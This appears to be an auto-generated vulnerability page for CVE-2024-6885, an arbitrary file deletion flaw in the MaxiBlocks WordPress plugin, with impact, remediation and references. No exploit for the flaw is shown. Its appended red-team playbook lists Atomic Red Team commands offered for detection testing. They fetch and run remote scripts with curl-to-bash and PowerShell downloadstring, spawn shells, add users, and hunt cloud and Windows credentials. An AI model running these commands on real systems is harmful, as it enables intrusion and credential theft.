CVE-2024-6885
Overview
This vulnerability is a directory traversal flaw caused by improper validation of file paths in the maxi_remove_custom_image_size and maxi_add_custom_image_size functions within the MaxiBlocks Builder WordPress plugin. The affected component fails to sanitize user-supplied input, allowing manipulation of file paths beyond intended directories. This insecure file path handling occurs in all plugin versions up to and including 1.9.2, specifically within the image size management functionality.
Vulnerability Description
The MaxiBlocks: 2200+ Patterns, 190 Pages, 14.2K Icons & 100 Styles plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the maxi_remove_custom_image_size and maxi_add_custom_image_size functions in all versions up to, and including, 1.9.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An attacker with authenticated access at Subscriber level or above can delete arbitrary files on the hosting server by exploiting this vulnerability. This capability can be leveraged to remove critical configuration files, potentially resulting in remote code execution or site compromise. The attack requires no user interaction beyond authentication and can cause service disruption, data loss, or unauthorized control over the WordPress environment. The CVSS vector indicates network attack complexity is low with low privileges required (AV:N/AC:L/PR:L/UI:N).
Solution
Users should upgrade the MaxiBlocks Builder WordPress plugin to version 1.9.3 or later, where the file path validation issue in maxi_remove_custom_image_size and maxi_add_custom_image_size functions has been addressed. Detailed patch information and remediation steps are available in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/249b08c5-7429-4690-9f08-fc3f049aa62c) and the official WordPress plugin repository. No alternative workarounds are documented; prompt updating is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the MaxiBlocks plugin for WordPress arises from inadequate validation of file paths in critical functions responsible for managing custom image sizes. Specifically, the maxi_remove_custom_image_size and maxi_add_custom_image_size functions fail to properly sanitize input, allowing authenticated users with Subscriber-level access or higher to manipulate file paths. This oversight can lead to arbitrary file deletion on the server, as attackers can craft requests that target sensitive files. The implications of this vulnerability are severe, as the deletion of essential files, such as the wp-config.php file, can compromise the integrity and availability of the entire WordPress installation.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to execute crafted requests that invoke the vulnerable functions, leading to the deletion of arbitrary files. For instance, an attacker could remove critical configuration files or even upload malicious scripts that could be executed on the server. This scenario could escalate to remote code execution, enabling the attacker to gain full control over the affected WordPress instance. The ease of exploitation, combined with the relatively low access level required, makes this vulnerability particularly concerning for website administrators.
The real-world impact of this vulnerability is substantial, posing significant business risks. Organizations relying on the MaxiBlocks plugin may find themselves exposed to data loss, service disruption, and potential breaches of sensitive information. The ability for an authenticated user to delete critical files can lead to a complete compromise of the web application, resulting in financial losses, reputational damage, and legal ramifications. Furthermore, the risk of remote code execution amplifies the threat, as attackers could deploy malware or conduct further attacks on the underlying infrastructure. The potential for widespread exploitation underscores the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and remediate vulnerabilities in plugins and themes. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests targeting the vulnerable functions. It is also crucial to maintain a robust backup strategy, ensuring that critical files can be restored in the event of deletion. Finally, organizations should monitor user activity closely, particularly for authenticated users with elevated privileges, to detect any suspicious behavior that may indicate an attempted exploitation of this vulnerability.
In conclusion, the arbitrary file deletion vulnerability in the MaxiBlocks plugin presents a significant threat to WordPress installations. The combination of insufficient file path validation and the potential for remote code execution creates a critical risk for organizations. By understanding the technical details, potential attack vectors, and real-world implications, businesses can take proactive steps to safeguard their web applications. Implementing effective detection and mitigation strategies will be essential in protecting against this and similar vulnerabilities in the future.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6885 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/249b08c5-7429-4690-9f08-fc3f049aa62c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/1.9.2/core/class-maxi-image-crop.php#L42 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/1.9.2/core/class-maxi-image-crop.php#L100 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/1.9.2/plugin.php#L221 |